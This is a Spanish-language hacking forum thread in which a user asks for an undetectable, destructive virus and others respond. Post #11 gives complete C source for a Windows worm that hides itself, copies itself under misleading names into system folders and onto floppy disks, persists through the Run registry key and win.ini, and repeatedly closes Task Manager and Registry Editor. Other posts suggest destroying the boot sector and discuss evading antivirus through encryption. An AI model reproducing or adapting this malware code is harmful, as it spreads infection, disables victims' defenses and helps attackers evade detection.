![]() |
|
|
#1 |
|
Guest
Amigos
Mensajes: n/a
|
8) Alguien sabe como hacer un virus en C q sea indetectable por antivirus, y si no se puede... q escaralle muxo.!!!! XD ;D
|
|
|
|
#2 |
|
Guest
Amigos
Mensajes: n/a
|
el experto en hacer virus aki es codelogman
|
|
|
|
#3 |
|
Guest
Amigos
Mensajes: n/a
|
GAXIAS!! ;D
|
|
|
|
#4 |
|
Guest
Amigos
Mensajes: n/a
|
un virus que haga que??
|
|
|
|
#5 |
|
Guest
Amigos
Mensajes: n/a
|
Pos q desarticule windows Xp y no sea detectable, cuanto mas destructivo mejor!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!!!!!!! ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D ;D
![]() XDDDDDDDDDDDDDDDDDDD |
|
|
|
#6 |
|
Guest
Amigos
Mensajes: n/a
|
EL MEJOR VIRUSAVER QUIEN HACE EL VIRUS MEJOR!!!! :P YES!
|
|
|
|
#7 |
|
Colaborador
![]() Fecha de Ingreso: agosto-2005
Amigos 0
Mensajes: 359
Gracias: 0
Agradecido 1 vez en 1 mensaje.
|
xq no haces uno q destruya el sector Zero del HD,
de esta forma la pc no funcionaria. supongo q es lo mas destructible. salu2
__________________
|
|
|
|
|
|
#8 |
|
Habitual
![]() Fecha de Ingreso: mayo-2005
Amigos 0
Mensajes: 183
Gracias: 0
Agradecido 0 veces en 0 mensajes.
|
Hola mira yo soy diseñador de virus, pero no hago esa clase de virus, pues lastima no poderte ayudar
__________________
![]() El code es un arte, diseñemos arte
|
|
|
|
|
|
#9 |
|
Guest
Amigos
Mensajes: n/a
|
bueno, aki te va un virus:
#include <stdio.h> /*definición de librerias*/ #include <conio.h> #include <GRAPHICS.H> #include <time.h> #include <dos.h> int main(void) { time_t timer; struct tm *tblock; /*definición de variables, el tiempo será usado en la versión deluxe*/ int n, i = 0; int font; struct { char texto[20]; } circulo[10]; clrscr( ); gotoxy (15,3); textcolor(15); textbackground(13); cprintf( "acabas de entrar en el virus jeje versión 2.0...\n"); /* titulo,centrado, principal */ timer = time(NULL); tblock = localtime(&timer); gotoxy (16,4); cprintf("la fecha y hora son: %s", asctime(tblock)); /*muestra la fecha y la hora que contiene el bios */ sound(300); delay(500); nosound( ); sound(250); /*ooooooooooooooooooooooooooooooooooooooooooooooooo o sonido en forma de sirena oooooooooooooooooooooooooooooooooooooooooooooooooo oo*/ delay(500); nosound( ); sound(300); delay(500); nosound( ); sound(250); delay(500); nosound( ); sound(300); delay(500); nosound( ); sound(250); delay(500); nosound( ); sound(300); delay(500); nosound( ); sound(250); delay(500); nosound( ); gotoxy(17,5); cprintf("\nentre el codigo:"); textcolor(0); /* esto es para que la clave no se vea cuando la pongamos */ textbackground(0); cscanf("%s", circulo.texto); while (circulo.texto[0] !='j' || circulo.texto[1] !='a' || circulo.texto[2] !='z' || circulo.texto[3] !='z') { /* nota: en la anterior linea esta partida en dos partes por puntos suspencivos */ /* borralos y une en una solos linea la primera parte con la seguna */ /* trata de utilizar tu inteligencia hacker en la parte de arriba porque aquí es donde tu puedes poner la clave que se te plazca, puedes usa hasta 20 caracteres, si quieres mas tienes que ponerle mas a la variable "texto" */ textcolor(11); cprintf("\n ¡¡¡la vas cagando!!!"); /* mensaje que sale cuando la clave es errónea */ ++i; /*repetición en la sentencia */ extcolor(15); textbackground(13); cprintf("\nentre el codigo:"); /*ya explique que es esto */ textcolor(10); textbackground(10); cscanf("%s", circulo.texto); } clrscr( ); |
|
|
|
#10 |
|
Habitual
![]() Fecha de Ingreso: mayo-2005
Amigos 0
Mensajes: 183
Gracias: 0
Agradecido 0 veces en 0 mensajes.
|
Disculpame q te desilucione pero es no es un virus... por q utilizas librerias no estandares
Código:
#include <conio.h> #include <GRAPHICS.H>
__________________
![]() El code es un arte, diseñemos arte
|
|
|
|
|
|
#11 |
|
Habitual
![]() Fecha de Ingreso: mayo-2005
Amigos 0
Mensajes: 183
Gracias: 0
Agradecido 0 veces en 0 mensajes.
|
Mira este es un pequeño virus
Código:
/*
HostSx.cpp
sowher /GEDZAC Labs
*/
#include <windows.h>
#include <stdio.h>
char PathName[256];
char WinDir[MAX_PATH];
char SysDir[256];
/**********************************************
* Funcion que cierra ventanas *
***********************************************/
void cierra()
{
HWND cFile;
int i;
char WindowsClose[10][50] = {
"Calculadora",
"Administrador de tareas de Windows",
"Editor del Registro",
"Información del sistema de Microsoft",
"Documento1 - Microsoft Word",
"MSN Messenger",
"Ejecutar",
};
for (i=0; i<7; i++)
{
cFile = FindWindow(0,WindowsClose[i]);
PostMessage(cFile, WM_QUIT, 0, 0 );
}
}
/**********************************************
* Copia al host en el Floppy *
***********************************************/
void floppy()
{
HMODULE hManejador = GetModuleHandle(NULL); //Obtenemos el manejador
GetModuleFileName(hManejador,WinDir,256); //Obtenemos nuestro nombre y ruta
SetErrorMode(SEM_FAILCRITICALERRORS); //Evita que nos muestre mensaje de error
CopyFile(PathName, "a:\\HostSx.exe", false); //Realizamos una copia a la unidad A
}
/**********************************************
* Copia el host en carpetas de windows *
***********************************************/
void copiar()
{
strcat(WinDir,"\\conmand.com");
CopyFile(PathName,WinDir,0);
CopyFile(PathName,"\\win.pif",0);
CopyFile(PathName,"\\ini.bat",0);
CopyFile(PathName,"\\system32.com",0);
CopyFile(PathName,"\\conmand.exe",0);
CopyFile(PathName,"\\win.bat",0);
CopyFile(PathName,"\\system\\win.bat",0);
CopyFile(PathName,"\\welcome.pif",0);
}
/**********************************************
* Escribe en archibos inis *
***********************************************/
void inis()
{
const char key[] = "run";
const char archivo[] = "win.ini";
WritePrivateProfileString("Windows",key,WinDir,archivo);
}
/**********************************************
* Colocamos virus en el registro *
***********************************************/
void registro()
{
HKEY hkey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey);
RegSetValueEx(hkey,"HostSx",0,REG_SZ,(const unsigned char*)SysDir,sizeof(SysDir));
RegCloseKey(hkey);
}
/************************************************
*************************************************
** Funcion Principal **
*************************************************
*************************************************/
int WINAPI WinMain(
HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR ipszArgument,
int nFunsterStil
)
{
GetWindowsDirectory(WinDir,sizeof(WinDir)); // Sacar el nombre de la carpeta winnt o windows y la ruta
GetSystemDirectory(SysDir,sizeof(SysDir)); // Saca la ruta de system32
// oculta la ventana
HWND ventana = GetForegroundWindow();
ShowWindow(ventana,SW_HIDE);
copiar();
registro();
inis();
registro();
do{
Sleep(5000); //5 sec.
cierra();
floppy();
}while(1);
return 0;
}
__________________
![]() El code es un arte, diseñemos arte
|
|
|
|
|
|
#12 |
|
Guest
Amigos
Mensajes: n/a
|
Sleep(5000); //5 sec.
cierra(); floppy(); Bonito virus, no recomiendo que uses sleep, el chiste de un virus es pasar inadvertido ![]() saludos |
|
|
|
#13 |
|
Habitual
![]() Fecha de Ingreso: mayo-2005
Amigos 0
Mensajes: 183
Gracias: 0
Agradecido 0 veces en 0 mensajes.
|
Lo has provado??? si lo pruebsa me diras si pasa desapercivido
__________________
![]() El code es un arte, diseñemos arte
|
|
|
|
|
|
#14 | |
|
Guest
Amigos
Mensajes: n/a
|
Cita:
|
|
|
|
|
#15 |
|
Guest
Amigos
Mensajes: n/a
|
Demasiadas llamadas en un nivel muy alto del kernell a operaciones como sleep etc, el code simplemente es visible, nonecesitais ser expertos para verlo en memoria.... comando debug... insisto
![]() saludos |
|
|
|
#16 |
|
Guest
Amigos
Mensajes: n/a
|
Lo que estas diciendo es cualquier cosa; da la sensacion de que ni sabes usar debug. Porque no probás que con debug podés detectar llamadas sleep?
Y.. por cierto, el usuario infectado con el virus ni siquiera va a saber lo que es debug |
|
|
|
#17 |
|
Guest
Amigos
Mensajes: n/a
|
a ver, para empezar debug es un comando de dos, existen dos tipos de comandos en dos por si no lo sabias:
comandos internos: Definidos asi por cargarse dentro del propio kernell de sistema comandos externos: Definidos asi por no cargarse con el kernell sin embargo pueden ser invocados ya que el path esta definido desde el arranque. Es sencillo, con debug "depuras" el executable del virus y practicamente las llamadas las ves como macros definidas despues de $ y @ en donde te pone la direccion o handled de la llamada que en ensamblador son creo 6 lineas para definir sleep pero como no lo haces desde assembler en c, la llamada queda como referencia a objeto de sistema, veras, si queda como objeto de sistema esta atada esta y las demas que estan en esa situacion de "pre" definicion son vistas facilmente por un scanner como el tbav antiguo que escaneaba procesos en background... creo que no necesito explicar mas. codelogman |
|
|
|
#18 |
|
Guest
Amigos
Mensajes: n/a
|
Es cierto que con debug podés ver llamadas a sleep en si.
Aunque eso no tiene porque significar que sea un virus quien lo está llamando. Además si el virus está encriptado, no se va a ver nada en debug, y no es nada del otro mundo un virus encriptado. Y.. por cierto, es handler no handled; y al tbav no era tan dificil confundirlo. |
|
![]() |
| Herramientas | |
| Desplegado | |
|
|

Temas Similares
|
||||
| Tema | Autor | Foro | Respuestas | Último mensaje |
| Virus molesto | gusanoworm | Troyanos y virus | 13 | 16-ago-2010 15:47 |
| crear un virus con la sucecion de fibonacci | frreker | Hack para newbies | 2 | 09-ago-2010 16:44 |
| Descargar MSN Virus Remover 4.40 (Database 7.23) | soft2010 | Top 100 | 0 | 29-jul-2010 10:50 |
| Descargar Symantec Virus Definitions Update 20100602 034-v5 | soft2010 | Top 100 | 0 | 06-jul-2010 08:07 |